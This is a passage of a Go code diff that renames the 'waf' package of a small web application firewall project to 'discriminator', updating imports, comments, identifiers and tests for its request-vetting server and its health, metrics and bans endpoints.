||||
@@ -482,12 +482,12 @@ func (s *sender) uploadFrom(from string) logLine {
|
||||
// straight to server's handler, without the network, and returns once it is
|
||||
// answered.
|
||||
func serveFromDE(
|
||||
t *testing.T, server *waf.Server, method string, body io.Reader,
|
||||
t *testing.T, server *discriminator.Server, method string, body io.Reader,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
|
||||
req.Header.Set(waf.ClientHeader, fromDE)
|
||||
req.Header.Set(discriminator.ClientHeader, fromDE)
|
||||
req.Header.Set(requestIDHeader, "the-id")
|
||||
|
||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||
// through the reputation lists.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||
// and biased thresholds through the limiter and limitPercentages.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"io"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
||||
// through the reputation lists.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -9,9 +9,9 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
||||
@@ -184,7 +184,7 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
|
||||
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
||||
// reputation.json would at start.
|
||||
func loadDecisions(
|
||||
t *testing.T, server *waf.Server, fetched time.Time, answer string,
|
||||
t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
@@ -18,8 +18,8 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The headers of rproxy's question and of waf's answer, as
|
||||
// "waf" in SPEC.md gives them.
|
||||
// The headers of rproxy's question and of discriminator's answer, as
|
||||
// "discriminator" in SPEC.md gives them.
|
||||
const (
|
||||
// ClientHeader marks a request as rproxy's question, and gives the
|
||||
// visitor's address.
|
||||
@@ -28,7 +28,7 @@ const (
|
||||
PeerHeader = "X-Sww-Peer"
|
||||
// ContentLengthHeader gives the body length the visitor announced.
|
||||
ContentLengthHeader = "X-Sww-Content-Length"
|
||||
// DispositionHeader gives waf's answer.
|
||||
// DispositionHeader gives discriminator's answer.
|
||||
DispositionHeader = "X-Sww-Disposition"
|
||||
)
|
||||
|
||||
@@ -41,12 +41,12 @@ const (
|
||||
DispositionDeny = "deny"
|
||||
// DispositionClose tells rproxy to close the visitor's connection
|
||||
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
|
||||
// waf closing the question's connection instead would read as
|
||||
// waf being down, and rproxy would then let the request through.
|
||||
// discriminator closing the question's connection instead would read as
|
||||
// discriminator being down, and rproxy would then let the request through.
|
||||
DispositionClose = "close"
|
||||
)
|
||||
|
||||
// ReportPath is where rproxy sends the report of each request waf
|
||||
// ReportPath is where rproxy sends the report of each request discriminator
|
||||
// answered.
|
||||
const ReportPath = "/_sww/report"
|
||||
|
||||
@@ -70,11 +70,11 @@ const (
|
||||
// maxReportedMilliseconds is the longest duration a report may give,
|
||||
// about 31 years, so that it fits a time.Duration.
|
||||
maxReportedMilliseconds = 1e12
|
||||
// wafTimeout bounds how long a request to waf takes to
|
||||
// arrive, and its answer to leave, and wafIdleTimeout how long a
|
||||
// discriminatorTimeout bounds how long a request to discriminator takes to
|
||||
// arrive, and its answer to leave, and discriminatorIdleTimeout how long a
|
||||
// kept-open connection waits for its next request.
|
||||
wafTimeout = 60 * time.Second
|
||||
wafIdleTimeout = 120 * time.Second
|
||||
discriminatorTimeout = 60 * time.Second
|
||||
discriminatorIdleTimeout = 120 * time.Second
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -97,7 +97,7 @@ type Report struct {
|
||||
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
|
||||
}
|
||||
|
||||
// New returns the server `sww waf` runs. It answers
|
||||
// New returns the server `sww discriminator` runs. It answers
|
||||
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
|
||||
// passes nothing to an app. rproxy applies the size and time limits to the
|
||||
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
|
||||
@@ -111,9 +111,9 @@ func New(params Params) *Server {
|
||||
Addr: params.Config.ListenAddr,
|
||||
Handler: h,
|
||||
ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
|
||||
ReadTimeout: wafTimeout,
|
||||
WriteTimeout: wafTimeout,
|
||||
IdleTimeout: wafIdleTimeout,
|
||||
ReadTimeout: discriminatorTimeout,
|
||||
WriteTimeout: discriminatorTimeout,
|
||||
IdleTimeout: discriminatorIdleTimeout,
|
||||
},
|
||||
Ledger: h.ledger,
|
||||
Limiter: h.limiter,
|
||||
@@ -128,8 +128,8 @@ func New(params Params) *Server {
|
||||
}
|
||||
}
|
||||
|
||||
// ServeHTTP handles one request to waf: a request carrying
|
||||
// ClientHeader is rproxy's question, and any other is for waf
|
||||
// ServeHTTP handles one request to discriminator: a request carrying
|
||||
// ClientHeader is rproxy's question, and any other is for discriminator
|
||||
// itself.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if len(r.Header.Values(ClientHeader)) > 0 {
|
||||
@@ -146,7 +146,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
|
||||
// will refuse it, as a function in that heuristic's file says. In observe mode,
|
||||
// which refuses nothing, none is. rproxy lets a request through when
|
||||
// waf answers too late.
|
||||
// discriminator answers too late.
|
||||
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
||||
if rq.h.config.Observe {
|
||||
return false
|
||||
@@ -180,7 +180,7 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
||||
defer rq.finish()
|
||||
|
||||
rq.site = r.Host
|
||||
rq.line.WAFLine = requestlog.WAFLineDecision
|
||||
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
|
||||
refused := rq.check(r.Context())
|
||||
rq.checked = time.Now()
|
||||
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
|
||||
@@ -206,7 +206,7 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// The app never sees this prefix. waf's own endpoints are at its
|
||||
// The app never sees this prefix. discriminator's own endpoints are at its
|
||||
// own address, so this answers as a path with no endpoint does.
|
||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||
rq.out.Header().Set(DispositionHeader, DispositionDeny)
|
||||
@@ -214,7 +214,7 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// readQuestion returns the visitor's address and the body a question carries,
|
||||
// and whether waf takes the question. It answers a question it does not
|
||||
// and whether discriminator takes the question. It answers a question it does not
|
||||
// take with 400 and no disposition, which rproxy treats as it treats no
|
||||
// answer. The id of a question it takes is held from here on, without a
|
||||
// decision yet, so that another question with that id is refused while this
|
||||
@@ -257,7 +257,7 @@ func (h *handler) readQuestion(
|
||||
|
||||
held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
|
||||
if held {
|
||||
h.refuseQuestion(w, requestIDHeader+" is the id of a request waf holds")
|
||||
h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
|
||||
|
||||
return netip.Addr{}, nil, false
|
||||
}
|
||||
@@ -265,14 +265,14 @@ func (h *handler) readQuestion(
|
||||
return client, body, true
|
||||
}
|
||||
|
||||
// refuseQuestion answers a question waf does not take, for reason.
|
||||
// refuseQuestion answers a question discriminator does not take, for reason.
|
||||
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
|
||||
h.processLog.Warn("a question is refused", "reason", reason)
|
||||
http.Error(w, reason, http.StatusBadRequest)
|
||||
}
|
||||
|
||||
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
|
||||
// log line are to see it: without the headers rproxy adds for waf,
|
||||
// log line are to see it: without the headers rproxy adds for discriminator,
|
||||
// with body, which has been read of r, and with the length the visitor
|
||||
// announced, as -1 when it announced none. The question's own length covers
|
||||
// only the part of the body it carries.
|
||||
@@ -340,7 +340,7 @@ func (rq *request) deny(r refusal) {
|
||||
http.Error(rq.out, http.StatusText(r.status), r.status)
|
||||
}
|
||||
|
||||
// answerOwnEndpoint answers a request to waf's own address. No check
|
||||
// answerOwnEndpoint answers a request to discriminator's own address. No check
|
||||
// runs on it: the address is on the private network, where the peers are
|
||||
// rproxy and the admin's tools, not visitors.
|
||||
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -455,7 +455,7 @@ func (h *handler) finishWith(ctx context.Context, held *decision, report Report)
|
||||
requestBytes: report.RequestBytes,
|
||||
}
|
||||
|
||||
rq.line.WAFLine = requestlog.WAFLineReport
|
||||
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
|
||||
rq.line.Status = report.Status
|
||||
rq.line.RequestBytes = report.RequestBytes
|
||||
rq.line.ResponseBytes = report.ResponseBytes
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
||||
// verdicts through the DNSBL checker.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic header_limits. It reads no setting: its limits are fixed.
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
|
||||
@@ -21,7 +21,7 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
|
||||
)
|
||||
|
||||
for range healthChecks {
|
||||
got := s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "",
|
||||
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
|
||||
http.StatusOK)
|
||||
|
||||
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
// and add one line for it to one of the lists below. Its settings go in
|
||||
// config.Config, and the comment at the top of its file names them.
|
||||
|
||||
// heuristic is one of the checks that decide what waf does with a
|
||||
// heuristic is one of the checks that decide what discriminator does with a
|
||||
// request.
|
||||
type heuristic interface {
|
||||
// name is the heuristic's name, which the log line gives.
|
||||
@@ -70,7 +70,7 @@ func afterLookup() []heuristic {
|
||||
}
|
||||
}
|
||||
|
||||
// afterAnswer are the heuristics that run on a request once waf has
|
||||
// afterAnswer are the heuristics that run on a request once discriminator has
|
||||
// answered it, before its decision line is written. They ban the client, and do
|
||||
// not change what the request got: their verdict's action is not used.
|
||||
func afterAnswer() []heuristic {
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"io"
|
||||
@@ -8,9 +8,9 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
||||
@@ -100,8 +100,8 @@ func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||
|
||||
s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "", http.StatusOK)
|
||||
s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "",
|
||||
s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
|
||||
s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
|
||||
http.StatusUnauthorized)
|
||||
s.scrape()
|
||||
|
||||
@@ -128,7 +128,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
|
||||
|
||||
// historyOf returns the history of the client at addr.
|
||||
func historyOf(
|
||||
t *testing.T, server *waf.Server, addr string,
|
||||
t *testing.T, server *discriminator.Server, addr string,
|
||||
) ratelimit.History {
|
||||
t.Helper()
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -379,13 +379,13 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
||||
// clock of the test's own: the wait lasts exactly as long as it should,
|
||||
// however slowly the test process runs. Nothing in it may wait on the
|
||||
// network, which would keep that clock from moving on: the request is
|
||||
// handed to waf's handler, and GeoJS is one that never answers.
|
||||
// handed to discriminator's handler, and GeoJS is one that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
// Not the default. The exclusive list needs the answer, and the app
|
||||
// is never reached.
|
||||
const timeout = 3 * time.Second
|
||||
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
lookupTimeout: timeout.String(),
|
||||
allowedCountries: "DE",
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"io"
|
||||
@@ -11,9 +11,9 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -32,7 +32,7 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
||||
|
||||
// An empty token does not match the unset one either.
|
||||
for _, authorization := range []string{bearer, "Bearer ", ""} {
|
||||
s.ownEndpointRequest(authorization, http.MethodGet, waf.MetricsPath, "",
|
||||
s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
|
||||
http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
@@ -46,19 +46,19 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
|
||||
method, path, authorization string
|
||||
status int
|
||||
}{
|
||||
{http.MethodGet, waf.MetricsPath, "", http.StatusUnauthorized},
|
||||
{http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
|
||||
{
|
||||
http.MethodGet, waf.MetricsPath, "Bearer " + strings.ToUpper(token),
|
||||
http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
|
||||
http.StatusUnauthorized,
|
||||
},
|
||||
{http.MethodGet, waf.MetricsPath, "Basic " + token,
|
||||
{http.MethodGet, discriminator.MetricsPath, "Basic " + token,
|
||||
http.StatusUnauthorized},
|
||||
{http.MethodGet, waf.MetricsPath, bearer, http.StatusOK},
|
||||
{http.MethodGet, waf.MetricsPath, "bearer " + token, http.StatusOK},
|
||||
{http.MethodPost, waf.MetricsPath, bearer, http.StatusNotFound},
|
||||
{http.MethodGet, waf.MetricsPath + "/", bearer, http.StatusNotFound},
|
||||
{http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
|
||||
{http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
|
||||
{http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
|
||||
{http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
|
||||
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
|
||||
{http.MethodPost, waf.HealthPath, "", http.StatusNotFound},
|
||||
{http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
|
||||
} {
|
||||
got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
|
||||
|
||||
@@ -181,7 +181,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
|
||||
wantMetric(t, s.scrape(), admins, 1)
|
||||
|
||||
// And a ban made through the endpoint.
|
||||
s.admin(http.MethodPost, waf.BansPath, banOtherClient, http.StatusOK)
|
||||
s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
|
||||
wantMetric(t, s.scrape(), admins, 2)
|
||||
}
|
||||
|
||||
@@ -361,12 +361,12 @@ func keptAnswer(addr, country string) lookup.Answer {
|
||||
}
|
||||
}
|
||||
|
||||
// scrape asks waf at addr for the metrics, with the token, and returns
|
||||
// scrape asks discriminator at addr for the metrics, with the token, and returns
|
||||
// them.
|
||||
func scrape(t *testing.T, addr string) string {
|
||||
t.Helper()
|
||||
|
||||
req := newRequest(t, http.MethodGet, addr, waf.MetricsPath, http.NoBody)
|
||||
req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
|
||||
req.Header.Set("Authorization", bearer)
|
||||
|
||||
got := do(t, req)
|
||||
@@ -381,7 +381,7 @@ func scrape(t *testing.T, addr string) string {
|
||||
func (s *sender) scrape() string {
|
||||
s.t.Helper()
|
||||
|
||||
return string(s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath,
|
||||
return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
|
||||
"", http.StatusOK).body)
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -1,7 +1,7 @@
|
||||
// Package waf is the server the waf command runs. It answers
|
||||
// Package discriminator is the server the discriminator command runs. It answers
|
||||
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and
|
||||
// writes a log line for each.
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
@@ -25,11 +25,11 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// ownEndpointPrefix starts the path of each of waf's own endpoints. The app
|
||||
// ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
|
||||
// never sees a path under it.
|
||||
const ownEndpointPrefix = "/_sww/"
|
||||
|
||||
// HealthPath is the health endpoint of waf and of rproxy, which the
|
||||
// HealthPath is the health endpoint of discriminator and of rproxy, which the
|
||||
// container's health check asks.
|
||||
const HealthPath = "/_sww/healthz"
|
||||
|
||||
@@ -41,7 +41,7 @@ const MetricsPath = "/_sww/metrics"
|
||||
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
|
||||
const BansPath = "/_sww/bans"
|
||||
|
||||
// ClientsPath is where an admin asks what waf knows of a client, by
|
||||
// ClientsPath is where an admin asks what discriminator knows of a client, by
|
||||
// the client's address after it, with SWW_ADMIN_TOKEN.
|
||||
const ClientsPath = "/_sww/clients/"
|
||||
|
||||
@@ -49,7 +49,7 @@ const ClientsPath = "/_sww/clients/"
|
||||
type Params struct {
|
||||
Config *config.Config
|
||||
// RequestLog receives two JSON lines per question, one at its decision and
|
||||
// one when its report comes, and one per request to waf's own
|
||||
// one when its report comes, and one per request to discriminator's own
|
||||
// endpoints.
|
||||
RequestLog io.Writer
|
||||
// ProcessLog receives the process's own messages.
|
||||
@@ -73,7 +73,7 @@ type Params struct {
|
||||
// Rules are the rule files' rules, which each request is checked
|
||||
// against.
|
||||
Rules *rules.Files
|
||||
// Alerts receive the alert for each ban waf makes or makes
|
||||
// Alerts receive the alert for each ban discriminator makes or makes
|
||||
// permanent, for each count over an anomaly threshold, for each request
|
||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||
@@ -83,7 +83,7 @@ type Params struct {
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// Server is the server waf runs, with the parts whose state the state
|
||||
// Server is the server discriminator runs, with the parts whose state the state
|
||||
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
||||
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
||||
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
||||
@@ -248,7 +248,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
||||
return coreRuleSet, nil
|
||||
}
|
||||
|
||||
// handler is waf's handler. It holds what every request shares; what
|
||||
// handler is discriminator's handler. It holds what every request shares; what
|
||||
// belongs to one request is in a request.
|
||||
type handler struct {
|
||||
config *config.Config
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
@@ -17,11 +17,11 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -177,9 +177,9 @@ func (o *output) requestLine(t *testing.T) logLine {
|
||||
return o.requestLines(t, 1)[0]
|
||||
}
|
||||
|
||||
// endedLines waits for count requests that went through rproxy, or to waf's
|
||||
// endedLines waits for count requests that went through rproxy, or to discriminator's
|
||||
// own endpoints, to have ended, and returns the last log line of each, in the
|
||||
// order waf took them. A question's last line is the one its report writes.
|
||||
// order discriminator took them. A question's last line is the one its report writes.
|
||||
func (o *output) endedLines(t *testing.T, count int) []logLine {
|
||||
t.Helper()
|
||||
|
||||
@@ -189,7 +189,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
|
||||
|
||||
ended := len(found) >= count
|
||||
for _, line := range found[:min(count, len(found))] {
|
||||
if line.WAFLine == requestlog.WAFLineDecision {
|
||||
if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
|
||||
ended = false
|
||||
}
|
||||
}
|
||||
@@ -207,7 +207,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
|
||||
}
|
||||
|
||||
// lastLines returns the last request log line written so far of each request,
|
||||
// in the order waf took them.
|
||||
// in the order discriminator took them.
|
||||
func (o *output) lastLines(t *testing.T) []logLine {
|
||||
t.Helper()
|
||||
|
||||
@@ -273,9 +273,9 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
|
||||
return server
|
||||
}
|
||||
|
||||
// startProxy starts waf, and rproxy in front of the app at appURL, each with
|
||||
// startProxy starts discriminator, and rproxy in front of the app at appURL, each with
|
||||
// the settings in env on top of the defaults, and returns where rproxy listens
|
||||
// and what waf writes.
|
||||
// and what discriminator writes.
|
||||
func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
|
||||
t.Helper()
|
||||
|
||||
@@ -295,14 +295,14 @@ func startProxyWithGeoJS(
|
||||
}
|
||||
|
||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||
// bans made by the time now tells, and returns waf's server as well, whose
|
||||
// Addr is where waf listens. Unless env sets SWW_RULES_DIR, it is an empty
|
||||
// bans made by the time now tells, and returns discriminator's server as well, whose
|
||||
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
|
||||
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
|
||||
// the label instance of every metric.
|
||||
func startProxyWithClock(
|
||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||
env map[string]string,
|
||||
) (string, *output, *waf.Server) {
|
||||
) (string, *output, *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
|
||||
@@ -311,14 +311,14 @@ func startProxyWithClock(
|
||||
}
|
||||
|
||||
// startProxyWithAlerts is startProxyWithClock, and returns the queue of
|
||||
// the alerts waf raises as well, as newWAF makes them.
|
||||
// the alerts discriminator raises as well, as newDiscriminator makes them.
|
||||
func startProxyWithAlerts(
|
||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||
env map[string]string,
|
||||
) (string, *output, *waf.Server, *alerts.Queue) {
|
||||
) (string, *output, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
server, out, alertQueue := newWAF(t, geojsURL, now, env)
|
||||
server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
|
||||
serve(t, server)
|
||||
|
||||
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
|
||||
@@ -326,7 +326,7 @@ func startProxyWithAlerts(
|
||||
|
||||
// serve serves server on a port of its own until the test ends, and sets its
|
||||
// Addr to where it listens.
|
||||
func serve(t *testing.T, server *waf.Server) {
|
||||
func serve(t *testing.T, server *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||
@@ -345,17 +345,17 @@ func serve(t *testing.T, server *waf.Server) {
|
||||
})
|
||||
}
|
||||
|
||||
// startRProxy starts rproxy in front of the app at appURL, asking the waf
|
||||
// at wafAddr, with the settings in env on top of the defaults, and returns
|
||||
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
|
||||
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
|
||||
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
|
||||
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
|
||||
func startRProxy(
|
||||
t *testing.T, wafAddr, appURL string, env map[string]string,
|
||||
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
|
||||
) string {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
"SWRP_WAF_BACKEND": "http://" + wafAddr,
|
||||
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
|
||||
"SWRP_UPSTREAM_URL": appURL,
|
||||
"SWRP_TIMEOUT_MS": "60000",
|
||||
}
|
||||
@@ -392,7 +392,7 @@ func startRProxy(
|
||||
return listener.Addr().String()
|
||||
}
|
||||
|
||||
// newWAF makes waf's server, without starting it, and
|
||||
// newDiscriminator makes discriminator's server, without starting it, and
|
||||
// returns it, what it writes, and the queue of the alerts it raises, as the
|
||||
// settings in env make it. No alert is sent from the queue: they wait in it,
|
||||
// for the test to look at.
|
||||
@@ -402,19 +402,19 @@ func startRProxy(
|
||||
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
|
||||
// env sets it, so that only the tests of the Core Rule Set have their requests
|
||||
// inspected by it.
|
||||
func newWAF(
|
||||
func newDiscriminator(
|
||||
